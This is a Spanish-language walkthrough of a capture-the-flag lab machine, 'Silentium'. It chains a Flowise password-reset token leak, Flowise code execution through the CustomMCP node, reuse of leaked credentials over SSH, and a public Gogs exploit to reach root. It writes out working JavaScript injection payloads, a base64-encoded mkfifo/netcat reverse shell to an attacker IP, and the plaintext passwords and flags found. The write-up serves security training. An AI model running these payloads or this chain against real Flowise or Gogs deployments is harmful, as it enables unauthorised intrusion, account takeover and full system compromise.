

Reconocimiento.

IP: 10.129.32.119.

SO: Linux.

Dificultad: Fácil.

Escaneo.

Se empieza escaneando los puertos que están abiertos con la herramienta Nmap .

```
nmap -Pn -n -sS -p- \
--max-retries 1000 \
'10.129.32.119'
```

En el escaneo se obtiene que los puertos abiertos son: 22/tcp (ssh) y 80/tcp http .

Enumeración.

A partir del escaneo se sabe que el puerto 80 con el servicio HTTP esta abierto y que probablemente se tenga que agregar a la lista de host para que se haga una resolución DNS correctamente, para obtener el dominio se procede a entrar a la URL

`http://10.129.32.119/` y efectivamente existe una redirección a la URL `http://silentium.htb/` , así que procedo a agregar el dominio `silentium.htb` a la lista de host y empiezo a revisar el sitio web para obtener mas información.

Al entrar al sitio web se obtiene el titulo `Silentium | Institucional Capital & Lending Solutions` , en el header de la pagina existe un menú de navegación que tiene las opciones: `Solutions` , `Calculator` y `Leadership` al intentar entrar en cualquiera de las opciones no se genera ningún redireccionamiento, por lo que no se encuentra a simple vista mas información.

Para saber si existen posibles directorios dentro del dominio se utiliza la herramienta Gobuster .

```
gobuster dir \
--url 'http://silentium.htb' \
--follow-redirect \
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt'
```

En el output se recibe el mensaje `http://silentium.htb/a66dfb5b-93b7-43a8-8036-632730b3968d => 200 (Length: 8753)` el cual indica que cualquiera de las palabras que se introducen dentro

de la URL parece que existiera siempre arrojando el código 200 como respuesta.

Se empieza a enumerar los posible subdominios usando la herramienta `Gobuster` , primero se empieza a buscar con el modo DNS.

```
gobuster dns \  
--domain 'silentium.htb' \  
--wordlist '/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt'
```

En el cual no se obtiene ningún resultado, así que luego se busca con el modo de VHOST.

```
gobuster vhost \  
--url 'http://silentium.htb' \  
--wordlist '/usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt' \  
--append-domain \  
--domain 'silentium.htb'
```

Esta vez se obtiene el subdominio `staging.silentium.htb` el cual se procede a agregar a la lista de host para que haga una resolución DNS correctamente y poder revisarlo vía navegador para obtener mas información.

Enumeración del subdominio `staging.silentium.htb` .

Al ingresar al subdominio `staging.silentium.htb` se obtiene el titulo `Flowise - Build AI Agents, Visually` y como contenido del sitio un formulario de autenticación con los inputs: `Email` y `Password` además del texto con hipervínculo `Forgot password?` . Al entrar al hipervínculo se encuentra un formulario con el input `Email` y un mensaje `Have a reset password code? Change your password here.` donde `Change your password here` es un hipervínculo, se sigue este hipervínculo y se encuentra un formularios con los inputs: `Email` , `Reset Token` , `New Password` y `Confirm Password` , esto me da a pensar que puede existir una vulnerabilidad en caso de que logre encontrar un token de restablecimiento valido.

Investigando mas a partir del titulo que se obtuvo se sabe que `Flowise` es una plataforma visual que permite construir agentes de inteligencia artificial (IA) de manera sencilla, sin la necesidad de programar. A través de un sistema de nodos y flujos arrastrables, permite integrar grandes modelos de lenguaje, herramientas y servicios externos para crear chatbots, asistentes inteligentes y flujos automatizados.

Una vez que se obtiene la tecnología `Flowise` se procede a buscar su respectiva versión para identificar posibles vulnerabilidades, por ahora el objetivo es autenticarme.

Revisando el código fuente desde el navegador se obtiene el directorio `/assets` y dentro de este directorio hay un archivo llamado `/index-C6GKaUTA.js` en este archivo se encuentra

el endpoint `/api/v1/` el cual se puede utilizar para enumerar mas información.

```
gobuster dir \  
--url 'http://staging.silentium.htb/api/v1/' \  
--follow-redirect \  
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt'
```

Como salida del comando recibo el mensaje `http://staging.silentium.htb/api/v1/0b9ba8a6-512f-4aba-be4e-8159d999fb11 => 401 (Length: 31)` el cual indica que el código de respuesta `401 Unauthorized` con cualquiera de las palabras que se intenta o que posiblemente no existe, por lo que procedo a excluir este código de respuesta.

```
gobuster dir \  
--url 'http://staging.silentium.htb/api/v1/' \  
--follow-redirect \  
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt' \  
--status-codes-blacklist 401
```

Como respuesta ya obtengo algunos endpoints con código de respuesta `200`, sin embargo, se observa que muchos de los resultados tienen un longitud de `3142` caracteres y esto es sospechoso, pruebo uno de estos resultados y no se obtiene ningún resultado relevante, así que procedo a excluir estas respuestas.

```
gobuster dir \  
--url 'http://staging.silentium.htb/api/v1/' \  
--follow-redirect \  
--wordlist '/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt' \  
--status-codes-blacklist 401 \  
--exclude-length 3142
```

Esta vez las respuestas son mas contundentes y se obtienen con código de respuesta `200` los endpoints: `version`, `pricing`, `ip`, `settings`, `ping`; y con código de respuesta `412` los endpoints: `feedback`, `leads`.

Revisando el endpoint que mas me interesa el cual es `/api/v1/version` para obtener las vulnerabilidades publicas. Se obtiene que la versión de `Flowise` es `3.0.5`.

Buscando las vulnerabilidades publicas se encuentran:

 **CVE-2025-59528**

Descripción: En la versión 3.0.5, Flowise es vulnerable a la ejecución remota de código. El nodo CustomMCP permite a los usuarios introducir ajustes de configuración para conectarse a un servidor MCP externo. Este nodo analiza la cadena mcpServerConfig proporcionada por el usuario para crear la configuración del servidor MCP. Sin embargo, durante este proceso, ejecuta código JavaScript sin ninguna validación de seguridad. Concretamente, dentro de la función convertToValidJSONString, la entrada del usuario se pasa directamente al constructor Function(), que evalúa y ejecuta la entrada como código JavaScript. Dado que esto se ejecuta con todos los privilegios de tiempo de ejecución de Node.js, puede acceder a módulos peligrosos como child_process y fs. Este problema se ha solucionado en la versión 3.0.6.

Severidad NIST: N/A.

Severidad CNA: 10.0 CRITICO.

Enumeración de debilidades:

- **CWE-94:** Control inadecuado de la generación de código ('inyección de código').

Fuente: [NVD - CVE-2025-59528](#)

CVE-2025-58434

Descripción: En la versión 3.0.5 y anteriores, el punto final forgot-password de Flowise devuelve información confidencial, incluido un tempToken válido para restablecer la contraseña, sin necesidad de autenticación ni verificación. Esto permite a cualquier atacante generar un token de restablecimiento para usuarios arbitrarios y restablecer directamente su contraseña, lo que da lugar a una apropiación total de la cuenta (ATO). Esta vulnerabilidad afecta tanto al servicio en la nube (cloud.flowiseai.com) como a las implementaciones de Flowise autohospedadas o locales que exponen la misma API. La confirmación 9e178d68873eb876073846433a596590d3d9c863 en la versión 3.0.6 protege los puntos finales de restablecimiento de contraseña. Hay varias medidas de corrección recomendadas disponibles. No devuelva tokens de restablecimiento ni datos confidenciales de la cuenta en las respuestas de la API. Los tokens solo deben enviarse de forma segura a través del canal de correo electrónico registrado. Asegúrese de que «forgot-password» responda con un mensaje genérico de éxito independientemente de la entrada, para evitar la enumeración de usuarios. Exija una validación rigurosa del «tempToken» (por ejemplo, de un solo uso, con caducidad

corta, vinculado al origen de la solicitud y validado contra la entrega del correo electrónico). Aplique las mismas correcciones tanto a las implementaciones en la nube como a las autohospedadas o locales. Registre y supervise las solicitudes de restablecimiento de contraseña en busca de actividades sospechosas. Considere la verificación multifactorial para las cuentas sensibles.

Severidad NIST: N/A.

Severidad CNA: 9.8 CRITICO.

Enumeración de debilidades:

- **CWE-306:** Falta la autenticación para una función crítica.

Fuente: [NVD - CVE-2025-58434](#)

Por lo que estas vulnerabilidades en orden de severidad son:

- [CVE-2025-59528](#) - 10.0
- [CVE-2025-58434](#) - 9.8

Explotación.

Explotando la vulnerabilidad CVE-2025-58434 .

La vulnerabilidad CVE-2025-58434 permite hacer una omisión en las credenciales para poder entrar al panel de Flowise , pero se necesita un correo electrónico que este registrado y que sea valido para poder entrar, así que este es mi próximo objetivo. Empiezo a revisar de nuevo el dominio en busca de información de contacto y encuentro dentro de la sección de Leadership tres nombres que me llaman la atención: Marcus Thorne el cual es el director general, Ben quien es el responsable de sistemas financieros y Elena Rossi quien es director de riesgos.

Se va a probar estos nombres con el dominio de correo silentium.htb que en teoría debiera funcionar ya que es una empresa, según la vulnerabilidad CVE-2025-58434 el endpoint que funciona es /forgot-password , ademas, revisando la enumeración al subdominio staging.silentium.htb se encontró el hipervínculo de Forgot Password , así que procedo a enviar un correo aleatorio en el campo de Email y uso la herramienta BurpSuite para capturar el paquete que se envía, en donde se obtiene que la petición va a la ruta /api/v1/account/forgot-password que es el endpoint que se busca, paso esta petición interceptada a la sección de Repeater y empiezo a probar con los correos: marcus@silentium.htb el cual se recibe el código de respuesta 404 Not Found con el mensaje User Not Found , ben@silentium.htb y en este caso se obtiene el código de respuesta 201

Created y el tempToken:

plyNtKyuWq6MUZn44CBDCYlikY5cMYRoN2CHJgmdTsDKp8X5giSQmUCzmEZD1jp que según la vulnerabilidad sirve para restablecer la contraseña, sin necesidad de autenticación ni verificación.

Una vez que se tiene el token solo basta con cambiar la contraseña en el hipervínculo `Change your password here` encontrado en el subdominio `staging.silentium.htb` usando el correo `ben@silentium.htb` y la contraseña `Password123@` logrando con éxito el cambio de contraseña y la explotación de la vulnerabilidad `CVE-2025-58434`.

Explotando la vulnerabilidad `CVE-2025-59528`.

Ya que se tiene acceso al panel del subdominio `staging.silentium.htb` se busca encontrar alguna manera de poder escalar mas el ataque, esto es lo que permite la vulnerabilidad `CVE-2025-59528`, que según su descripción es capaz de lograr un RCE desde el panel de `Flowise`.

Según la descripción de la vulnerabilidad indica que al crear un nodo llamado `CustomMCP` este permite a los usuarios introducir ajustes de configuración para conectarse a un servidor MCP externo, así que procedo a investigar como se crea este nodo. Revisando el sitio web, encuentro que hay un menú con las opciones: `Chatflows`, `Agentflows`, `Executions`, `Assistants`, `Marketplace`, `Tools`, `Credentials`, `Variables`, `API Keys` y `Document Stores`.

Revisando cada una de las opciones se encuentra que dentro de `Chatflows` es posible agregar nodos, así que procedo a buscar a `CustomMCP` y se encuentra dentro de la lista. Usando `BurpSuite` intercepto la petición de crear el nodo y obtengo el endpoint `/api/v1/node-load-method/customMCP`. Usando este endpoint hago una petición con `BurpSuite`.

```
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "{x:(function){const
cp=process.mainModule.require('child_process');cp.execSync('sleep 60');return 'sleep_done';})();}"
  }
}
```

Con este payload se confirma que efectivamente existe una vulnerabilidad de tipo RCE. Como no se tiene información acerca de los programas instalados dentro del servidor, se procede a usar la herramienta `mkfifo` para crear un túnel permanente donde cualquier proceso puede escribir en él y cualquier otro proceso puede leer desde él, incluso si se ejecutan en momentos o terminales diferentes.

Se empieza por escuchar con la herramienta `nc` en mi terminal.

```
nc -lvp 4444
```

Y ya que se tenga escuchando el puerto donde se quiere recibir la conexión, lo siguiente sera construir un comando que se envíe por el payload y que permita:

1. Crear el archivo de tubería en el directorio temporal `mkfifo /tmp/f`
2. Usar la herramienta `cat` para que reciba lo que envió por la terminal y se lo pase a una shell `cat /tmp/f | /bin/sh`
3. Usar la herramienta `nc` para leer y escribir datos a través de conexiones de red usando los protocolos TCP o UDP, es decir para que abra una conexión a mi IP `nc 10.10.14.108 4444`
4. Pasar la información de la herramienta `nc` al archivo `/tmp/f`.

Ademas, como precaución en caso de que el comando falle, y se vuelva a intentar se quiere dejar un entorno limpio, por lo que se necesita borrar el archivo `/tmp/f` en cada envío del comando.

Teniendo lo anterior en cuenta el comando completo que se necesita enviar con el payload es `rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.108 4444 >/tmp/f`, debido a que este comando contiene varios caracteres especiales, lo mejor sera codificarlo para generar un poco mas de seguridad en su funcionamiento.

```
echo -n 'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.108 4444 >/tmp/f' | base64 -w 0
```

Teniendo como resultado

`cm0gL3RtcC9mOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgL2Jpbi9zaCAtaSAyPiYxIHwgbmMgMTAuMTAuMTQuMTA4IDQ0NDQgPi90bXAvZg==`, ahora el payload completo seria de la siguiente forma.

```
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');const b64='cm0gL3RtcC9mOyBta2ZpZm8gL3RtcC9mOyBjYXQgL3RtcC9mIHwgL2Jpbi9zaCAtaSAyPiYxIHwgbmMgMTAuMTAuMTQuMTA4IDQ0NDQgPi90bXAvZg==';const cmd=Buffer.from(b64,'base64').toString('utf8');cp.exec(cmd);return 'fired';})();})"
```

Logrando de esta forma una reverse shell y la explotación de la vulnerabilidad `CVE-2025-59528`.

Postexploitación.

Una vez que ya se vulnero el servidor se busca estabilizar la terminal.

```
python3 -c 'import pty; pty.spawn("/bin/sh")'
```

Luego de ejecutar el comando se oprime `Ctrl+Z` .

```
stty raw -echo; fg
```

Ya que se retome de nuevo el `nc` .

```
reset
```

Ya con la terminal estable, se personaliza sus dimensiones para que sea acorde a mi terminal local, primero obtengo el tamaño de mi terminal.

```
stty size
```

Obteniendo como resultado `28 153` , y se usa el siguiente comando en el RCE.

```
stty rows 28 cols 153
```

Ya que se tiene la terminal RCE personalizada, se empieza a buscar la forma de escalar privilegios hasta llegar a ser administrador. Para hacer esto primero se debe saber en donde se esta, es decir, si se esta dentro de un contenedor o directamente dentro del directorio del servidor.

```
ls -la /.dockerenv
```

Este comando arroja que se encontró el archivo, lo que me permite afirmar con mucha seguridad que se esta dentro de un contenedor docker, así que se procede a buscar como poder escapar del contenedor para obtener acceso al directorio real del servidor.

Lo primero que hago es encontrar la carpeta donde están los archivos de la tecnología `Flowise` , según la información recolectada, esta tecnología se encuentra en la ruta `/root/.flowise` , así que procedo a revisar si existe y ver su contenido.

```
ls -a /root/.flowise
```


En este directorio se encuentran los archivos: `database.sqlite` , `encryption.key` y `uploads` . El archivo que mas me llama la atención es `database.sqlite` , así que procedo a revisar su contenido.

```
sqlite3 /root/.flowise/database.sqlite ".tables"
```

En donde obtengo las tablas: `apikey` , `assistant` , `chat_flow` , `chat_message` , `chat_message_feedback` , `credential` , `custom_template` , `dataset` , `dataset_row` , `document_store` , `document_store_file_chunk` , `evaluation` , `evaluation_run` , `evaluator` , `execution` , `lead` , `login_activity` , `login_method` , `login_sessions` , `migrations` , `organization` , `organization_user` , `role` , `tool` , `upsert_history` , `user` , `variable` , `workspace` , `workspace_shared` y `workspace_user` . Sin embargo, al revisar cada una de estas tablas no se encontró ninguna información sensible que pueda servir para escapar del contenedor.

Ahora lo que procedo es a hacer volcado de variables de entorno.

```
env
```

Y dentro de la información se obtiene: `FLOWISE_PASSWORD=F1I3_d0ck3r` y `SMTP_PASSWORD=r04D!!_R4ge` , con la esperanza de que el administrador haga reutilización de contraseñas se prueban estas credenciales en el puerto 22 que corresponde al servicio SSH.

```
ssh ben@10.129.32.119
```

Efectivamente el administrador cometió el error de reutilizar contraseñas, y logro autenticarme en el protocolo SSH con la contraseña `r04D!!_R4ge` logrando escapar del contenedor Docker y teniendo acceso directamente al directorio del servidor.

El propósito en este momento es escalar privilegios hasta ser root, primero verifico los permisos que tiene el usuario `ben` .

```
sudo -l
```

Donde obtengo el mensaje `Sorry, user ben may not run sudo on silentium` . Como no puedo revisar los permisos del usuario, procedo a listar los servicios que están escuchando las conexiones.

```
ss -tlnp
```

Como resultado obtengo los puertos: 8025 , 53 , 1025 , 44149 , 3000 , 3001 , 80 y 22 . Se genera un túnel con SSH con lo puertos: 8025 , 53 , 1025 , 44149 , 3000 y 3001 .

```
ssh -4 \  
-L 8025:127.0.0.1:8025 \  
-L 53:127.0.0.1:53 \  
-L 1025:127.0.0.1:1025 \  
-L 44149:127.0.0.1:44149 \  
-L 3000:127.0.0.1:3000 \  
-L 3001:127.0.0.1:3001 \  
ben@10.129.32.119
```

Revisando cada uno de estos puertos encuentro que el puerto 8025 corresponde del servicio MailHog , en el puerto 53 se recibe el mensaje This address is restricted , en el puerto 1025 no se establece una conexión, en el puerto 44149 recibo el mensaje 404: Page Not Found , en el puerto 3000 encuentro el servicio de Flowise y en el puerto 3001 se encuentra el servicio Gogs .

Debido a que los únicos puertos que estaban activos con un servicio son: 8025 , 3000 y 3001 . Se empieza a revisar cada uno de estos puertos y sus servicios para encontrar posibles vulnerabilidades que me permitan escalar privilegios.

En el puerto 8025 corre el servicio MailHog la cual es una herramienta gratuita y de código abierto para probar el correo electrónico, escrita en Go, que actúa como un servidor SMTP ficticio diseñado para capturar los correos electrónicos salientes durante el desarrollo local sin enviarlos a destinatarios reales. Revisando directamente el puerto desde el navegador, encuentro el correo de restablecimiento de contraseña que se intento hacer en la fase de explotación con la vulnerabilidad CVE-2025-58434 pero sin mas información. Dentro de la terminal con SSH, busco donde se encuentra instalado o corriendo este servicio.

```
find / -name "*mailhog*" 2>/dev/null
```

Pero no se obtiene ningún resultado, lo que me da a pensar que este servicio corre dentro de un contenedor de Docker, y como se necesita escalar privilegios, no me es de gran ayuda por el momento ya que se acabo de escapar de un contenedor y lo mas probable es que sea igual de minimalista.

En el puerto 3000 corre el servicio Flowise que ya se exploto para obtener acceso remoto, así que continuo con el puerto 3001 en el que esta corriendo el servicio Gogs , el cual es un servicio Git sencillo y autohospedado, diseñado para gestionar repositorios de código, incidencias, solicitudes de incorporación de cambios y wikis mediante una interfaz web

ligera similar a la de GitHub. Dentro de la terminal SSH, busco donde se encuentra instalado o corriendo el servicio.

```
find / -name "*gogs*" 2>/dev/null
```

Donde se encuentra el directorio `/opt/gogs/`, como ya tengo la ruta donde se encuentra el servicio, procedo a revisar si corre como root, ya que esto me indica que puede ser un candidato para escalar privilegios.

```
ps aux | grep -i gogs
```

En donde se recibe que efectivamente corre como root el directorio `/opt/gogs/gogs/gogs`, así que procedo a encontrar la versión del servicio y sus posibles vulnerabilidades publicas.

```
/opt/gogs/gogs/gogs -v
```

Donde recibo el mensaje `Gogs version 0.13.3` que es exactamente lo que estaba buscando, además en sus vulnerabilidades publicas tengo:

CVE-2025-8110

Descripción: Un error en el manejo de enlaces simbólicos en la API PutContents de Gogs permite la ejecución local de código.

Severidad NIST: 8.8 ALTO.

Severidad CNA: N/A.

Enumeración de debilidades:

- **CWE-22:** Limitación incorrecta de una ruta de acceso a un directorio restringido ('Path Traversal').

Fuente: [NVD - CVE-2025-8110](#)

Explotando la vulnerabilidad CVE-2025-8110 .

Primero reviso si la vulnerabilidad tiene un PoC disponible en Internet, en donde encuentro el repositorio <https://github.com/zAbuQasem/gogs-CVE-2025-8110.git>, se clona y se pone en funcionamiento según sus instrucciones.

Primero se usa la herramienta `nc` para poner a la escucha del puerto `1234`.

```
nc -lvnp 1234
```

Luego solo se ejecuta el script.

```
python3 CVE-2025-8110.py -u http://127.0.0.1:3001 -lh 10.10.14.108 -lp 1234
```

Obteniendo con éxito una reverse shell con permisos de root. Solo basta con buscar las banderas necesarias para completar la maquina.

```
find / -name "user.txt" 2>/dev/null
```

Encontrando la ruta `/home/ben/user.txt` la cual se ve con la ayuda de la herramienta `cat`.

```
cat /home/ben/user.txt
```

Y obteniendo la bandera `9f71ad6f7ae85332a9e8812d483401e4` y con el archivo de root se hace exactamente lo mismo.

```
find / -name "root.txt" 2>/dev/null
```

Encontrando la ruta `/root/root.txt` y viendo su contenido con la herramienta `cat`.

```
cat /root/root.txt
```

Y obteniendo la bandera `9a1ca8851ccf73840725fa89ab074074`. De esta forma se completa con éxito la maquina y su completa vulneración de los archivos logrando tener control total del sistema.

Conclusiones.

Se empieza escaneando los puertos abiertos e investigando los servicios expuestos, se enumeran los posibles subdominios y se encuentra `http://staging.silentium.htb/` el cual corresponde al servicio de Flowise, se hace uso de la vulnerabilidad `CVE-2025-58434` para poder hacer un cambio de contraseña del usuario Ben, luego dentro del servicio se hace uso de la vulnerabilidad `CVE-2025-59528` que permite un RCE logrando una reverse shell, sin embargo, el servicio corre dentro de un contenedor Docker muy bien configurado y que no fue posible escapar de el con técnicas comunes, pero encuentro gracias a las variables del entorno unas credenciales, debido a que el administrador hace el uso incorrecto de las contraseñas haciendo una reutilización en diferentes servicios fue

posible ingresar al puerto 22 en el que corre el servicio SSH y logrando escapar del contenedor y poder estar dentro de los directorios del servidor. Se revisa dentro del servidor que puertos locales estaban corriendo y se encontró que en el puerto 3001 corre el servicio Gogs que permite crear una nueva cuenta y permitiendo hacer uso de la vulnerabilidad CVE-2025-8110 la cual logra con éxito un RCE y una reverse shell en forma de root.